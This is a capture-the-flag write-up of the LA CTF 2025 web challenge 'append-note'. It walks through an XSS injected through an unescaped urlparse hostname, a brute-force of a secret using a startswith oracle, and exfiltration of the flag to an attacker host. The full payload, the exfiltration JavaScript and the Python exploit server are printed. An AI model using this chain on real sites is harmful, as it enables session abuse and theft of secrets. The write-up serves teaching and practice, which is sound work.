Append Note

LACTFby smothy

append-note - LA CTF 2025 Web Writeup

Category: Web Difficulty: Hard Points: 322 Solves: 19 Flag: lactf{3V3n7U4LLy_C0N5I573N7_70_L34X} Solved by: Smothy @ 0xN1umb


Hackerman

"They said reads are eventually consistent. Turns out, so are my XSS payloads."


Challenge Description

Our distributed notes app is append optimized. Reads are eventually consistent with the heat death of the universe! :)

A Flask notes app where you can only append, never read. An admin bot visits URLs you provide. The flag is behind a secret you need to leak. Classic XS-Leak territory... or is it?

TL;DR

XSS via unescaped urlparse hostname reflection in the /append error response. The hostname field gets injected as raw HTML because Flask returns text/html by default. From same-origin, brute-force an 8-char hex secret through a startswith oracle, fetch the flag, exfiltrate. XSS go brrr.

Initial Recon

We get four files: app.py, admin-bot.js, and two Jinja2 templates.

First thing I notice: single gunicorn worker (-w 1), in-memory notes list. No database, no persistence beyond the process. The "distributed" claim in the description is pure comedy.

Key observations from app.py:

python
SECRET = secrets.token_hex(4)  # 8 hex chars (0-9, a-f)
notes = [SECRET]

@app.route("/append")
def append():
    if request.cookies.get("admin") != ADMIN_SECRET:
        return "Unauthorized", 401

    content = request.args.get("content", "")
    redirect_url = request.args.get("url", "/")

    parsed_url = urlparse(redirect_url)
    if (
        parsed_url.scheme not in ["http", "https"]
        or parsed_url.hostname != urlparse(HOST).hostname
    ):
        return f"Invalid redirect URL {parsed_url.scheme} {parsed_url.hostname}", 400

    status = 200 if any(note.startswith(content) for note in notes) else 404
    notes.append(content)
    return render_template("redirect.html", url=redirect_url), status


@app.route("/flag")
def flag():
    # ... Access-Control-Allow-Origin: * ...
    message = FLAG if request.args.get("secret") == SECRET else "Invalid secret"

The architecture breaks down to:

  • /append - requires admin cookie, checks if any note starts with content, returns 200/404 (an oracle!), always appends
  • /flag - no auth needed, just needs the SECRET, has CORS *
  • Admin bot - Puppeteer, sets httpOnly + sameSite: Lax cookie, visits our URL, waits 60 seconds

So the game plan is clear: leak the SECRET through the oracle, then grab the flag. But how do we observe the oracle's 200 vs 404 response from cross-origin?

Step 1: Finding the XSS Vector

I spent a while thinking about XS-Leak approaches - script tag error events, popup frame counting, navigation timing. None of them work cleanly here because:

  • sameSite: Lax blocks cookies on subresource requests (script/img/css tags)
  • Both 200 and 404 return identical HTML (redirect template)
  • No cache differences, no frame count differences

Then I looked at line 48 more carefully:

python
return f"Invalid redirect URL {parsed_url.scheme} {parsed_url.hostname}", 400

parsed_url.hostname is reflected directly into the response with ZERO escaping. And Flask returns strings as text/html by default.

If we can get urlparse to extract an HTML payload as the "hostname", we get XSS on the challenge domain.

The crafted URL:

http://<svg onload=eval(atob(location.hash.slice(1)))>.x/

Python's urlparse processes this as:

  • scheme: http (passes the ["http", "https"] check)
  • hostname: <svg onload=eval(atob(location.hash.slice(1)))>.x (doesn't match challenge hostname - triggers error branch!)

The error response becomes:

html
Invalid redirect URL http <svg onload=eval(atob(location.hash.slice(1)))>.x

Browser sees <svg onload=...>, fires the onload event, our code executes. Three critical constraints satisfied:

  1. No / in the payload - slashes would terminate the netloc in urlparse, breaking the hostname extraction
  2. All lowercase - urlparse.hostname lowercases everything; our payload is already lowercase
  3. Base64 payload in URL fragment - the #hash part never reaches the server but is available via location.hash in the browser

Step 2: The Oracle Brute-Force

With same-origin XSS, we can fetch('/append') directly and read response status codes. The admin cookie gets included automatically (same-origin request).

The oracle works by prefix matching:

javascript
// For each position, try each hex char
for (let i = 0; i < 8; i++) {
    for (const c of '0123456789abcdef') {
        const guess = secret_so_far + c;
        const r = await fetch('/append?content=' + guess + '&url=' + encodeURIComponent(location.origin + '/'));
        if (r.status === 200) {
            secret_so_far += c;
            break;
        }
    }
}

For the homies worried about notes pollution: each failed guess gets appended (e.g., "0", "1", "2"...), but these short strings can never match longer prefixes. If SECRET starts with "a", then:

  • "0".startswith("a1") → False (different first char)
  • "a".startswith("a1") → False (too short)

The oracle stays clean. Max 128 requests, ~6-13 seconds total. Well within the 60-second bot timeout.

Step 3: The Full Exploit Chain

The complete attack:

Attacker server (served via ngrok):

html
<!DOCTYPE html>
<html><body>
<script>location.href="CHALLENGE/append?content=x&url=XSS_URL#BASE64_PAYLOAD";</script>
</body></html>

XSS payload (base64-encoded in the URL fragment):

javascript
(async()=>{
let s='';
for(let i=0;i<8;i++){
for(const c of '0123456789abcdef'){
const g=s+c;
const r=await fetch('/append?content='+g+'&url='+encodeURIComponent(location.origin+'/'));
if(r.status===200){s+=c;break;}
}}
const f=await fetch('/flag?secret='+s).then(r=>r.text());
new Image().src='https://ATTACKER/cb?f='+encodeURIComponent(f);
})();

The sameSite: Lax cookie is sent because the initial navigation (from our page to the challenge) is a top-level GET request - exactly what Lax allows for cross-site contexts.

Exploit server (exploit.py):

python
#!/usr/bin/env python3
import sys, base64, urllib.parse
from http.server import HTTPServer, BaseHTTPRequestHandler

CHALLENGE = sys.argv[1].rstrip("/")
ATTACKER = sys.argv[2].rstrip("/")
PORT = int(sys.argv[3]) if len(sys.argv) > 3 else 8080

EXPLOIT_JS = """(async()=>{
let s='';
for(let i=0;i<8;i++){
for(const c of '0123456789abcdef'){
const g=s+c;
const r=await fetch('/append?content='+g+'&url='+encodeURIComponent(location.origin+'/'));
if(r.status===200){s+=c;break;}
}}
const f=await fetch('/flag?secret='+s).then(r=>r.text());
new Image().src='""" + ATTACKER + """/cb?f='+encodeURIComponent(f);
})();"""

B64 = base64.b64encode(EXPLOIT_JS.encode()).decode()
XSS_URL_PARAM = "http://<svg onload=eval(atob(location.hash.slice(1)))>.x/"
ENCODED_PARAM = urllib.parse.quote(XSS_URL_PARAM, safe="")
FULL_XSS_URL = f"{CHALLENGE}/append?content=x&url={ENCODED_PARAM}#{B64}"

EXPLOIT_HTML = f'<!DOCTYPE html><html><body>' \
    f'<script>location.href="{FULL_XSS_URL}";</script></body></html>'

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path.startswith("/cb"):
            qs = urllib.parse.urlparse(self.path).query
            params = urllib.parse.parse_qs(qs)
            flag = params.get("f", ["???"])[0]
            print(f"\n{'='*60}\n  FLAG: {flag}\n{'='*60}\n")
            self.send_response(200)
            self.end_headers()
            self.wfile.write(b"OK")
        else:
            self.send_response(200)
            self.send_header("Content-Type", "text/html")
            self.end_headers()
            self.wfile.write(EXPLOIT_HTML.encode())

HTTPServer(("0.0.0.0", PORT), Handler).serve_forever()

The Flag

Submitted the attacker URL to the admin bot, waited a few seconds, and...

lactf{3V3n7U4LLy_C0N5I573N7_70_L34X}

Decoded: "eventually consistent to leak" - a callback to the challenge description. Respect to the challenge author for the wordplay.

The Graveyard of Failed Attempts

Before finding the XSS, I went down several rabbit holes:

  1. XS-Leak via <script> error events - Would distinguish 200 vs 404, but sameSite: Lax blocks cookies on subresource requests. Dead end.

  2. Popup history.length / frames.length - Both responses return identical HTML structure. No observable difference cross-origin.

  3. Open redirect via URL parsing quirks - Tried https://attacker\@challenge/ (backslash-to-slash browser normalization). Python sees challenge as hostname, browser navigates to attacker. Cool trick but doesn't help detect the oracle response.

  4. CSS injection / scroll-to-text - No variable-length responses to measure. Not applicable.

  5. Navigation timing - Both 200 and 404 have the same 100ms redirect delay. Identical timing.

The breakthrough was realizing the error response itself was the vulnerability - not the oracle detection mechanism. Sometimes the simplest bugs are hiding in plain sight.

Key Takeaways

  1. Always check error paths for injection - The happy path (redirect template) used safe Jinja2 escaping with tojson. The error path used raw f-strings. Classic asymmetry.

  2. urlparse is not a security boundary - Python's URL parser accepts basically anything as a hostname. HTML tags, spaces, special characters - it doesn't validate, it just splits.

  3. Flask returns text/html by default - Even for plain error strings like return "error message", 400. Combined with unescaped user input, instant XSS.

  4. sameSite: Lax still allows top-level GET navigations - The XSS payload travels via a location.href redirect, which is a top-level navigation. Lax cookies are sent.

  5. URL fragments are client-side only - The #base64payload never reaches the server but is accessible via location.hash in the browser. Perfect for smuggling large payloads.

  6. Hostname lowercasing matters - urlparse.hostname returns lowercase. Any XSS payload in the hostname must be case-insensitive. <svg onload=eval(...)> is naturally lowercase.

Tools Used

  • Python 3 + Flask (local testing)
  • curl (API testing)
  • ngrok (public tunnel for callback)
  • matplotlib (screenshots)
  • Way too much caffeine
  • An unreasonable amount of time thinking about XS-Leaks before finding the actual XSS

Writeup by Smothy from 0xN1umb team. "Eventually consistent with the heat death of my patience." GG.